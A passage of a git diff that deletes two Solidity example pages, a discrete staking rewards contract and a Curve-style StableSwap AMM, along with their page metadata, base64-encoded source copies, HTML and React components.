earned[account] + _calculateRewards(account); - } - - function _updateRewards(address account) private { - earned[account] += _calculateRewards(account); - rewardIndexOf[account] = rewardIndex; - } - - function stake(uint amount) external { - _updateRewards(msg.sender); - - balanceOf[msg.sender] += amount; - totalSupply += amount; - - stakingToken.transferFrom(msg.sender, address(this), amount); - } - - function unstake(uint amount) external { - _updateRewards(msg.sender); - - balanceOf[msg.sender] -= amount; - totalSupply -= amount; - - stakingToken.transfer(msg.sender, amount); - } - - function claim() external returns (uint) { - _updateRewards(msg.sender); - - uint reward = earned[msg.sender]; - if (reward > 0) { - earned[msg.sender] = 0; - rewardToken.transfer(msg.sender, reward); - } - - return reward; - } -} - -interface IERC20 { - function totalSupply() external view returns (uint); - - function balanceOf(address account) external view returns (uint); - - function transfer(address recipient, uint amount) external returns (bool); - - function allowance(address owner, address spender) external view returns (uint); - - function approve(address spender, uint amount) external returns (bool); - - function transferFrom( - address sender, - address recipient, - uint amount - ) external returns (bool); - - event Transfer(address indexed from, address indexed to, uint value); - event Approval(address indexed owner, address indexed spender, uint value); -} diff --git a/src/pages/defi/discrete-staking-rewards/index.html.ts b/src/pages/defi/discrete-staking-rewards/index.html.ts deleted file mode 100644 index f90c6d48d..000000000 --- a/src/pages/defi/discrete-staking-rewards/index.html.ts +++ /dev/null @@ -1,109 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Discrete Staking Rewards" -export const description = "Discrete staking rewards" - -export const keywords = ["defi", "discrete", "staking", "reward", "rewards"] - -export const codes = [ - { - fileName: "DiscreteStakingRewards.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IERpc2NyZXRlU3Rha2luZ1Jld2FyZHMgewogICAgSUVSQzIwIHB1YmxpYyBpbW11dGFibGUgc3Rha2luZ1Rva2VuOwogICAgSUVSQzIwIHB1YmxpYyBpbW11dGFibGUgcmV3YXJkVG9rZW47CgogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQpIHB1YmxpYyBiYWxhbmNlT2Y7CiAgICB1aW50IHB1YmxpYyB0b3RhbFN1cHBseTsKCiAgICB1aW50IHByaXZhdGUgY29uc3RhbnQgTVVMVElQTElFUiA9IDFlMTg7CiAgICB1aW50IHByaXZhdGUgcmV3YXJkSW5kZXg7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludCkgcHJpdmF0ZSByZXdhcmRJbmRleE9mOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQpIHByaXZhdGUgZWFybmVkOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX3N0YWtpbmdUb2tlbiwgYWRkcmVzcyBfcmV3YXJkVG9rZW4pIHsKICAgICAgICBzdGFraW5nVG9rZW4gPSBJRVJDMjAoX3N0YWtpbmdUb2tlbik7CiAgICAgICAgcmV3YXJkVG9rZW4gPSBJRVJDMjAoX3Jld2FyZFRva2VuKTsKICAgIH0KCiAgICBmdW5jdGlvbiB1cGRhdGVSZXdhcmRJbmRleCh1aW50IHJld2FyZCkgZXh0ZXJuYWwgewogICAgICAgIHJld2FyZFRva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCByZXdhcmQpOwogICAgICAgIHJld2FyZEluZGV4ICs9IChyZXdhcmQgKiBNVUxUSVBMSUVSKSAvIHRvdGFsU3VwcGx5OwogICAgfQoKICAgIGZ1bmN0aW9uIF9jYWxjdWxhdGVSZXdhcmRzKGFkZHJlc3MgYWNjb3VudCkgcHJpdmF0ZSB2aWV3IHJldHVybnMgKHVpbnQpIHsKICAgICAgICB1aW50IHNoYXJlcyA9IGJhbGFuY2VPZlthY2NvdW50XTsKICAgICAgICByZXR1cm4gKHNoYXJlcyAqIChyZXdhcmRJbmRleCAtIHJld2FyZEluZGV4T2ZbYWNjb3VudF0pKSAvIE1VTFRJUExJRVI7CiAgICB9CgogICAgZnVuY3Rpb24gY2FsY3VsYXRlUmV3YXJkc0Vhcm5lZChhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCkgewogICAgICAgIHJldHVybiBlYXJuZWRbYWNjb3VudF0gKyBfY2FsY3VsYXRlUmV3YXJkcyhhY2NvdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiBfdXBkYXRlUmV3YXJkcyhhZGRyZXNzIGFjY291bnQpIHByaXZhdGUgewogICAgICAgIGVhcm5lZFthY2NvdW50XSArPSBfY2FsY3VsYXRlUmV3YXJkcyhhY2NvdW50KTsKICAgICAgICByZXdhcmRJbmRleE9mW2FjY291bnRdID0gcmV3YXJkSW5kZXg7CiAgICB9CgogICAgZnVuY3Rpb24gc3Rha2UodWludCBhbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBfdXBkYXRlUmV3YXJkcyhtc2cuc2VuZGVyKTsKCiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdICs9IGFtb3VudDsKICAgICAgICB0b3RhbFN1cHBseSArPSBhbW91bnQ7CgogICAgICAgIHN0YWtpbmdUb2tlbi50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiB1bnN0YWtlKHVpbnQgYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgX3VwZGF0ZVJld2FyZHMobXNnLnNlbmRlcik7CgogICAgICAgIGJhbGFuY2VPZlttc2cuc2VuZGVyXSAtPSBhbW91bnQ7CiAgICAgICAgdG90YWxTdXBwbHkgLT0gYW1vdW50OwoKICAgICAgICBzdGFraW5nVG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiBjbGFpbSgpIGV4dGVybmFsIHJldHVybnMgKHVpbnQpIHsKICAgICAgICBfdXBkYXRlUmV3YXJkcyhtc2cuc2VuZGVyKTsKCiAgICAgICAgdWludCByZXdhcmQgPSBlYXJuZWRbbXNnLnNlbmRlcl07CiAgICAgICAgaWYgKHJld2FyZCA+IDApIHsKICAgICAgICAgICAgZWFybmVkW21zZy5zZW5kZXJdID0gMDsKICAgICAgICAgICAgcmV3YXJkVG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgcmV3YXJkKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiByZXdhcmQ7CiAgICB9Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQpOwoKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCk7CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKCiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQpOwoKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKAogICAgICAgIGFkZHJlc3Mgc2VuZGVyLAogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50LAogICAgICAgIHVpbnQgYW1vdW50CiAgICApIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGV2ZW50IFRyYW5zZmVyKGFkZHJlc3MgaW5kZXhlZCBmcm9tLCBhZGRyZXNzIGluZGV4ZWQgdG8sIHVpbnQgdmFsdWUpOwogICAgZXZlbnQgQXBwcm92YWwoYWRkcmVzcyBpbmRleGVkIG93bmVyLCBhZGRyZXNzIGluZGV4ZWQgc3BlbmRlciwgdWludCB2YWx1ZSk7Cn0K", - }, -] - -const html = `

Similar to staking rewards contract. Difference is that reward amount may vary at each second.

-

Discrete Staking Rewards

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract DiscreteStakingRewards {
-    IERC20 public immutable stakingToken;
-    IERC20 public immutable rewardToken;
-
-    mapping(address => uint) public balanceOf;
-    uint public totalSupply;
-
-    uint private constant MULTIPLIER = 1e18;
-    uint private rewardIndex;
-    mapping(address => uint) private rewardIndexOf;
-    mapping(address => uint) private earned;
-
-    constructor(address _stakingToken, address _rewardToken) {
-        stakingToken = IERC20(_stakingToken);
-        rewardToken = IERC20(_rewardToken);
-    }
-
-    function updateRewardIndex(uint reward) external {
-        rewardToken.transferFrom(msg.sender, address(this), reward);
-        rewardIndex += (reward * MULTIPLIER) / totalSupply;
-    }
-
-    function _calculateRewards(address account) private view returns (uint) {
-        uint shares = balanceOf[account];
-        return (shares * (rewardIndex - rewardIndexOf[account])) / MULTIPLIER;
-    }
-
-    function calculateRewardsEarned(address account) external view returns (uint) {
-        return earned[account] + _calculateRewards(account);
-    }
-
-    function _updateRewards(address account) private {
-        earned[account] += _calculateRewards(account);
-        rewardIndexOf[account] = rewardIndex;
-    }
-
-    function stake(uint amount) external {
-        _updateRewards(msg.sender);
-
-        balanceOf[msg.sender] += amount;
-        totalSupply += amount;
-
-        stakingToken.transferFrom(msg.sender, address(this), amount);
-    }
-
-    function unstake(uint amount) external {
-        _updateRewards(msg.sender);
-
-        balanceOf[msg.sender] -= amount;
-        totalSupply -= amount;
-
-        stakingToken.transfer(msg.sender, amount);
-    }
-
-    function claim() external returns (uint) {
-        _updateRewards(msg.sender);
-
-        uint reward = earned[msg.sender];
-        if (reward > 0) {
-            earned[msg.sender] = 0;
-            rewardToken.transfer(msg.sender, reward);
-        }
-
-        return reward;
-    }
-}
-
-interface IERC20 {
-    function totalSupply() external view returns (uint);
-
-    function balanceOf(address account) external view returns (uint);
-
-    function transfer(address recipient, uint amount) external returns (bool);
-
-    function allowance(address owner, address spender) external view returns (uint);
-
-    function approve(address spender, uint amount) external returns (bool);
-
-    function transferFrom(
-        address sender,
-        address recipient,
-        uint amount
-    ) external returns (bool);
-
-    event Transfer(address indexed from, address indexed to, uint value);
-    event Approval(address indexed owner, address indexed spender, uint value);
-}
-
` - -export default html diff --git a/src/pages/defi/discrete-staking-rewards/index.md b/src/pages/defi/discrete-staking-rewards/index.md deleted file mode 100644 index d5673b4e2..000000000 --- a/src/pages/defi/discrete-staking-rewards/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Discrete Staking Rewards -version: 0.8.20 -description: Discrete staking rewards -keywords: [defi, discrete, staking, reward, rewards] ---- - -Similar to staking rewards contract. Difference is that reward amount may vary at each second. - -### Discrete Staking Rewards - -```solidity -{{{DiscreteStakingRewards}}} -``` diff --git a/src/pages/defi/discrete-staking-rewards/index.tsx b/src/pages/defi/discrete-staking-rewards/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/defi/discrete-staking-rewards/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/defi/stable-swap-amm/StableSwap.sol b/src/pages/defi/stable-swap-amm/StableSwap.sol deleted file mode 100644 index 6e873cd85..000000000 --- a/src/pages/defi/stable-swap-amm/StableSwap.sol +++ /dev/null @@ -1,446 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8; - -/* -Invariant - price of trade and amount of liquidity are determined by this equation - -An^n sum(x_i) + D = ADn^n + D^(n + 1) / (n^n prod(x_i)) - -Topics -0. Newton's method x_(n + 1) = x_n - f(x_n) / f'(x_n) -1. Invariant -2. Swap - - Calculate Y - - Calculate D -3. Get virtual price -4. Add liquidity - - Imbalance fee -5. Remove liquidity -6. Remove liquidity one token - - Calculate withdraw one token - - getYD -TODO: test? -*/ - -library Math { - function abs(uint x, uint y) internal pure returns (uint) { - return x >= y ? x - y : y - x; - } -} - -contract StableSwap { - // Number of tokens - uint private constant N = 3; - // Amplification coefficient multiplied by N^(N - 1) - // Higher value makes the curve more flat - // Lower value makes the curve more like constant product AMM - uint private constant A = 1000 * (N ** (N - 1)); - // 0.03% - uint private constant SWAP_FEE = 300; - // Liquidity fee is derived from 2 constraints - // 1. Fee is 0 for adding / removing liquidity that results in a balanced pool - // 2. Swapping in a balanced pool is like adding and then removing liquidity - // from a balanced pool - // swap fee = add liquidity fee + remove liquidity fee - uint private constant LIQUIDITY_FEE = (SWAP_FEE * N) / (4 * (N - 1)); - uint private constant FEE_DENOMINATOR = 1e6; - - address[N] public tokens; - // Normalize each token to 18 decimals - // Example - DAI (18 decimals), USDC (6 decimals), USDT (6 decimals) - uint[N] private multipliers = [1, 1e12, 1e12]; - uint[N] public balances; - - // 1 share = 1e18, 18 decimals - uint private constant DECIMALS = 18; - uint public totalSupply; - mapping(address => uint) public balanceOf; - - constructor(address[N] memory _tokens) { - tokens = _tokens; - } - - function _mint(address _to, uint _amount) private { - balanceOf[_to] += _amount; - totalSupply += _amount; - } - - function _burn(address _from, uint _amount) private { - balanceOf[_from] -= _amount; - totalSupply -= _amount; - } - - // Return precision-adjusted balances, adjusted to 18 decimals - function _xp() private view returns (uint[N] memory xp) { - for (uint i; i < N; ++i) { - xp[i] = balances[i] * multipliers[i]; - } - } - - /** - * @notice Calculate D, sum of balances in a perfectly balanced pool - * If balances of x_0, x_1, ... x_(n-1) then sum(x_i) = D - * @param xp Precision-adjusted balances - * @return D - */ - function _getD(uint[N] memory xp) private pure returns (uint) { - /* - Newton's method to compute D - ----------------------------- - f(D) = ADn^n + D^(n + 1) / (n^n prod(x_i)) - An^n sum(x_i) - D - f'(D) = An^n + (n + 1) D^n / (n^n prod(x_i)) - 1 - - (as + np)D_n - D_(n+1) = ----------------------- - (a - 1)D_n + (n + 1)p - - a = An^n - s = sum(x_i) - p = (D_n)^(n + 1) / (n^n prod(x_i)) - */ - uint a = A * N; // An^n - - uint s; // x_0 + x_1 + ... + x_(n-1) - for (uint i; i < N; ++i) { - s += xp[i]; - } - - // Newton's method - // Initial guess, d <= s - uint d = s; - uint d_prev; - for (uint i; i < 255; ++i) { - // p = D^(n + 1) / (n^n * x_0 * ... * x_(n-1)) - uint p = d; - for (uint j; j < N; ++j) { - p = (p * d) / (N * xp[j]); - } - d_prev = d; - d = ((a * s + N * p) * d) / ((a - 1) * d + (N + 1) * p); - - if (Math.abs(d, d_prev) <= 1) { - return d; - } - } - revert("D didn't converge"); - } - - /** - * @notice Calculate the new balance of token j given the new balance of token i - * @param i Index of token in - * @param j Index of token out - * @param x New balance of token i - * @param xp Current precision-adjusted balances - */ - function _getY( - uint i, - uint j, - uint x, - uint[N] memory xp - ) private pure returns (uint) { - /* - Newton's method to compute y - ----------------------------- - y = x_j - - f(y) = y^2 + y(b - D) - c - - y_n^2 + c - y_(n+1) = -------------- - 2y_n + b - D - - where - s = sum(x_k), k != j - p = prod(x_k), k != j - b = s + D / (An^n) - c = D^(n + 1) / (n^n * p * An^n) - */ - uint a = A * N; - uint d = _getD(xp); - uint s; - uint c = d; - - uint _x; - for (uint k; k < N; ++k) { - if (k == i) { - _x = x; - } else if (k == j) { - continue; - } else { - _x = xp[k]; - } - - s += _x; - c = (c * d) / (N * _x); - } - c = (c * d) / (N * a); - uint b = s + d / a; - - // Newton's method - uint y_prev; - // Initial guess, y <= d - uint y = d; - for (uint _i; _i < 255; ++_i) { - y_prev = y; - y = (y * y + c) / (2 * y + b - d); - if (Math.abs(y, y_prev) <= 1) { - return y; - } - } - revert("y didn't converge"); - } - - /** - * @notice Calculate the new balance of token i given precision-adjusted - * balances xp and liquidity d - * @dev Equation is calculate y is same as _getY - * @param i Index of token to calculate the new balance - * @param xp Precision-adjusted balances - * @param d Liquidity d - * @return New balance of token i - */ - function _getYD(uint i, uint[N] memory xp, uint d) private pure returns (uint) { - uint a = A * N; - uint s; - uint c = d; - - uint _x; - for (uint k; k < N; ++k) { - if (k != i) { - _x = xp[k]; - } else { - continue; - } - - s += _x; - c = (c * d) / (N * _x); - } - c = (c * d) / (N * a); - uint b = s + d / a; - - // Newton's method - uint y_prev; - // Initial guess, y <= d - uint y = d; - for (uint _i; _i < 255; ++_i) { - y_prev = y; - y = (y * y + c) / (2 * y + b - d); - if (Math.abs(y, y_prev) <= 1) { - return y; - } - } - revert("y didn't converge"); - } - - // Estimate value of 1 share - // How many tokens is one share worth? - function getVirtualPrice() external view returns (uint) { - uint d = _getD(_xp()); - uint _totalSupply = totalSupply; - if (_totalSupply > 0) { - return (d * 10 ** DECIMALS) / _totalSupply; - } - return 0; - } - - /** - * @notice Swap dx amount of token i for token j - * @param i Index of token in - * @param j Index of token out - * @param dx Token in amount - * @param minDy Minimum token out - */ - function swap(uint i, uint j, uint dx, uint minDy) external returns (uint dy) { - require(i != j, "i = j"); - - IERC20(tokens[i]).transferFrom(msg.sender, address(this), dx); - - // Calculate dy - uint[N] memory xp = _xp(); - uint x = xp[i] + dx * multipliers[i]; - - uint y0 = xp[j]; - uint y1 = _getY(i, j, x, xp); - // y0 must be >= y1, since x has increased - // -1 to round down - dy = (y0 - y1 - 1) / multipliers[j]; - - // Subtract fee from dy - uint fee = (dy * SWAP_FEE) / FEE_DENOMINATOR; - dy -= fee; - require(dy >= minDy, "dy < min"); - - balances[i] += dx; - balances[j] -= dy; - - IERC20(tokens[j]).transfer(msg.sender, dy); - } - - function addLiquidity( - uint[N] calldata amounts, - uint minShares - ) external returns (uint shares) { - // calculate current liquidity d0 - uint _totalSupply = totalSupply; - uint d0; - uint[N] memory old_xs = _xp(); - if (_totalSupply > 0) { - d0 = _getD(old_xs); - } - - // Transfer tokens in - uint[N] memory new_xs; - for (uint i; i < N; ++i) { - uint amount = amounts[i]; - if (amount > 0) { - IERC20(tokens[i]).transferFrom(msg.sender, address(this), amount); - new_xs[i] = old_xs[i] + amount * multipliers[i]; - } else { - new_xs[i] = old_xs[i]; - } - } - - // Calculate new liquidity d1 - uint d1 = _getD(new_xs); - require(d1 > d0, "liquidity didn't increase"); - - // Reccalcuate D accounting for fee on imbalance - uint d2; - if (_totalSupply > 0) { - for (uint i; i < N; ++i) { - // TODO: why old_xs[i] * d1 / d0? why not d1 / N? - uint idealBalance = (old_xs[i] * d1) / d0; - uint diff = Math.abs(new_xs[i], idealBalance); - new_xs[i] -= (LIQUIDITY_FEE * diff) / FEE_DENOMINATOR; - } - - d2 = _getD(new_xs); - } else { - d2 = d1; - } - - // Update balances - for (uint i; i < N; ++i) { - balances[i] += amounts[i]; - } - - // Shares to mint = (d2 - d0) / d0 * total supply - // d1 >= d2 >= d0 - if (_totalSupply > 0) { - shares = ((d2 - d0) * _totalSupply) / d0; - } else { - shares = d2; - } - require(shares >= minShares, "shares < min"); - _mint(msg.sender, shares); - } - - function removeLiquidity( - uint shares, - uint[N] calldata minAmountsOut - ) external returns (uint[N] memory amountsOut) { - uint _totalSupply = totalSupply; - - for (uint i; i < N; ++i) { - uint amountOut = (balances[i] * shares) / _totalSupply; - require(amountOut >= minAmountsOut[i], "out < min"); - - balances[i] -= amountOut; - amountsOut[i] = amountOut; - - IERC20(tokens[i]).transfer(msg.sender, amountOut); - } - - _burn(msg.sender, shares); - } - - /** - * @notice Calculate amount of token i to receive for shares - * @param shares Shares to burn - * @param i Index of token to withdraw - * @return dy Amount of token i to receive - * fee Fee for withdraw. Fee already included in dy - */ - function _calcWithdrawOneToken( - uint shares, - uint i - ) private view returns (uint dy, uint fee) { - uint _totalSupply = totalSupply; - uint[N] memory xp = _xp(); - - // Calculate d0 and d1 - uint d0 = _getD(xp); - uint d1 = d0 - (d0 * shares) / _totalSupply; - - // Calculate reduction in y if D = d1 - uint y0 = _getYD(i, xp, d1); - // d1 <= d0 so y must be <= xp[i] - uint dy0 = (xp[i] - y0) / multipliers[i]; - - // Calculate imbalance fee, update xp with fees - uint dx; - for (uint j; j < N; ++j) { - if (j == i) { - dx = (xp[j] * d1) / d0 - y0; - } else { - // d1 / d0 <= 1 - dx = xp[j] - (xp[j] * d1) / d0; - } - xp[j] -= (LIQUIDITY_FEE * dx) / FEE_DENOMINATOR; - } - - // Recalculate y with xp including imbalance fees - uint y1 = _getYD(i, xp, d1); - // - 1 to round down - dy = (xp[i] - y1 - 1) / multipliers[i]; - fee = dy0 - dy; - } - - function calcWithdrawOneToken( - uint shares, - uint i - ) external view returns (uint dy, uint fee) { - return _calcWithdrawOneToken(shares, i); - } - - /** - * @notice Withdraw liquidity in token i - * @param shares Shares to burn - * @param i Token to withdraw - * @param minAmountOut Minimum amount of token i that must be withdrawn - */ - function removeLiquidityOneToken( - uint shares, - uint i, - uint minAmountOut - ) external returns (uint amountOut) { - (amountOut, ) = _calcWithdrawOneToken(shares, i); - require(amountOut >= minAmountOut, "out < min"); - - balances[i] -= amountOut; - _burn(msg.sender, shares); - - IERC20(tokens[i]).transfer(msg.sender, amountOut); - } -} - -interface IERC20 { - function totalSupply() external view returns (uint); - - function balanceOf(address account) external view returns (uint); - - function transfer(address recipient, uint amount) external returns (bool); - - function allowance(address owner, address spender) external view returns (uint); - - function approve(address spender, uint amount) external returns (bool); - - function transferFrom( - address sender, - address recipient, - uint amount - ) external returns (bool); - - event Transfer(address indexed from, address indexed to, uint amount); - event Approval(address indexed owner, address indexed spender, uint amount); -} diff --git a/src/pages/defi/stable-swap-amm/index.html.ts b/src/pages/defi/stable-swap-amm/index.html.ts deleted file mode 100644 index 8780dffe0..000000000 --- a/src/pages/defi/stable-swap-amm/index.html.ts +++ /dev/null @@ -1,464 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Stable Swap AMM" -export const description = "Curve's stable swap AMM" - -export const keywords = ["defi", "curve", "stable", "swap", "amm"] - -export const codes = [ - { - fileName: "StableSwap.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuODsKCi8qCkludmFyaWFudCAtIHByaWNlIG9mIHRyYWRlIGFuZCBhbW91bnQgb2YgbGlxdWlkaXR5IGFyZSBkZXRlcm1pbmVkIGJ5IHRoaXMgZXF1YXRpb24KCkFuXm4gc3VtKHhfaSkgKyBEID0gQURuXm4gKyBEXihuICsgMSkgLyAobl5uIHByb2QoeF9pKSkKClRvcGljcwowLiBOZXd0b24ncyBtZXRob2QgeF8obiArIDEpID0geF9uIC0gZih4X24pIC8gZicoeF9uKQoxLiBJbnZhcmlhbnQKMi4gU3dhcAogICAtIENhbGN1bGF0ZSBZCiAgIC0gQ2FsY3VsYXRlIEQKMy4gR2V0IHZpcnR1YWwgcHJpY2UKNC4gQWRkIGxpcXVpZGl0eQogICAtIEltYmFsYW5jZSBmZWUKNS4gUmVtb3ZlIGxpcXVpZGl0eQo2LiBSZW1vdmUgbGlxdWlkaXR5IG9uZSB0b2tlbgogICAtIENhbGN1bGF0ZSB3aXRoZHJhdyBvbmUgdG9rZW4KICAgLSBnZXRZRApUT0RPOiB0ZXN0PwoqLwoKbGlicmFyeSBNYXRoIHsKICAgIGZ1bmN0aW9uIGFicyh1aW50IHgsIHVpbnQgeSkgaW50ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIHggPj0geSA/IHggLSB5IDogeSAtIHg7CiAgICB9Cn0KCmNvbnRyYWN0IFN0YWJsZVN3YXAgewogICAgLy8gTnVtYmVyIG9mIHRva2VucwogICAgdWludCBwcml2YXRlIGNvbnN0YW50IE4gPSAzOwogICAgLy8gQW1wbGlmaWNhdGlvbiBjb2VmZmljaWVudCBtdWx0aXBsaWVkIGJ5IE5eKE4gLSAxKQogICAgLy8gSGlnaGVyIHZhbHVlIG1ha2VzIHRoZSBjdXJ2ZSBtb3JlIGZsYXQKICAgIC8vIExvd2VyIHZhbHVlIG1ha2VzIHRoZSBjdXJ2ZSBtb3JlIGxpa2UgY29uc3RhbnQgcHJvZHVjdCBBTU0KICAgIHVpbnQgcHJpdmF0ZSBjb25zdGFudCBBID0gMTAwMCAqIChOICoqIChOIC0gMSkpOwogICAgLy8gMC4wMyUKICAgIHVpbnQgcHJpdmF0ZSBjb25zdGFudCBTV0FQX0ZFRSA9IDMwMDsKICAgIC8vIExpcXVpZGl0eSBmZWUgaXMgZGVyaXZlZCBmcm9tIDIgY29uc3RyYWludHMKICAgIC8vIDEuIEZlZSBpcyAwIGZvciBhZGRpbmcgLyByZW1vdmluZyBsaXF1aWRpdHkgdGhhdCByZXN1bHRzIGluIGEgYmFsYW5jZWQgcG9vbAogICAgLy8gMi4gU3dhcHBpbmcgaW4gYSBiYWxhbmNlZCBwb29sIGlzIGxpa2UgYWRkaW5nIGFuZCB0aGVuIHJlbW92aW5nIGxpcXVpZGl0eQogICAgLy8gICAgZnJvbSBhIGJhbGFuY2VkIHBvb2wKICAgIC8vIHN3YXAgZmVlID0gYWRkIGxpcXVpZGl0eSBmZWUgKyByZW1vdmUgbGlxdWlkaXR5IGZlZQogICAgdWludCBwcml2YXRlIGNvbnN0YW50IExJUVVJRElUWV9GRUUgPSAoU1dBUF9GRUUgKiBOKSAvICg0ICogKE4gLSAxKSk7CiAgICB1aW50IHByaXZhdGUgY29uc3RhbnQgRkVFX0RFTk9NSU5BVE9SID0gMWU2OwoKICAgIGFkZHJlc3NbTl0gcHVibGljIHRva2VuczsKICAgIC8vIE5vcm1hbGl6ZSBlYWNoIHRva2VuIHRvIDE4IGRlY2ltYWxzCiAgICAvLyBFeGFtcGxlIC0gREFJICgxOCBkZWNpbWFscyksIFVTREMgKDYgZGVjaW1hbHMpLCBVU0RUICg2IGRlY2ltYWxzKQogICAgdWludFtOXSBwcml2YXRlIG11bHRpcGxpZXJzID0gWzEsIDFlMTIsIDFlMTJdOwogICAgdWludFtOXSBwdWJsaWMgYmFsYW5jZXM7CgogICAgLy8gMSBzaGFyZSA9IDFlMTgsIDE4IGRlY2ltYWxzCiAgICB1aW50IHByaXZhdGUgY29uc3RhbnQgREVDSU1BTFMgPSAxODsKICAgIHVpbnQgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzc1tOXSBtZW1vcnkgX3Rva2VucykgewogICAgICAgIHRva2VucyA9IF90b2tlbnM7CiAgICB9CgogICAgZnVuY3Rpb24gX21pbnQoYWRkcmVzcyBfdG8sIHVpbnQgX2Ftb3VudCkgcHJpdmF0ZSB7CiAgICAgICAgYmFsYW5jZU9mW190b10gKz0gX2Ftb3VudDsKICAgICAgICB0b3RhbFN1cHBseSArPSBfYW1vdW50OwogICAgfQoKICAgIGZ1bmN0aW9uIF9idXJuKGFkZHJlc3MgX2Zyb20sIHVpbnQgX2Ftb3VudCkgcHJpdmF0ZSB7CiAgICAgICAgYmFsYW5jZU9mW19mcm9tXSAtPSBfYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5IC09IF9hbW91bnQ7CiAgICB9CgogICAgLy8gUmV0dXJuIHByZWNpc2lvbi1hZGp1c3RlZCBiYWxhbmNlcywgYWRqdXN0ZWQgdG8gMTggZGVjaW1hbHMKICAgIGZ1bmN0aW9uIF94cCgpIHByaXZhdGUgdmlldyByZXR1cm5zICh1aW50W05dIG1lbW9yeSB4cCkgewogICAgICAgIGZvciAodWludCBpOyBpIDwgTjsgKytpKSB7CiAgICAgICAgICAgIHhwW2ldID0gYmFsYW5jZXNbaV0gKiBtdWx0aXBsaWVyc1tpXTsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBAbm90aWNlIENhbGN1bGF0ZSBELCBzdW0gb2YgYmFsYW5jZXMgaW4gYSBwZXJmZWN0bHkgYmFsYW5jZWQgcG9vbAogICAgICogSWYgYmFsYW5jZXMgb2YgeF8wLCB4XzEsIC4uLiB4XyhuLTEpIHRoZW4gc3VtKHhfaSkgPSBECiAgICAgKiBAcGFyYW0geHAgUHJlY2lzaW9uLWFkanVzdGVkIGJhbGFuY2VzCiAgICAgKiBAcmV0dXJuIEQKICAgICAqLwogICAgZnVuY3Rpb24gX2dldEQodWludFtOXSBtZW1vcnkgeHApIHByaXZhdGUgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgLyoKICAgICAgICBOZXd0b24ncyBtZXRob2QgdG8gY29tcHV0ZSBECiAgICAgICAgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAgICAgICBmKEQpID0gQURuXm4gKyBEXihuICsgMSkgLyAobl5uIHByb2QoeF9pKSkgLSBBbl5uIHN1bSh4X2kpIC0gRCAKICAgICAgICBmJyhEKSA9IEFuXm4gKyAobiArIDEpIERebiAvIChuXm4gcHJvZCh4X2kpKSAtIDEKCiAgICAgICAgICAgICAgICAgICAgIChhcyArIG5wKURfbgogICAgICAgIERfKG4rMSkgPSAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogICAgICAgICAgICAgICAgICAoYSAtIDEpRF9uICsgKG4gKyAxKXAKCiAgICAgICAgYSA9IEFuXm4KICAgICAgICBzID0gc3VtKHhfaSkKICAgICAgICBwID0gKERfbileKG4gKyAxKSAvIChuXm4gcHJvZCh4X2kpKQogICAgICAgICovCiAgICAgICAgdWludCBhID0gQSAqIE47IC8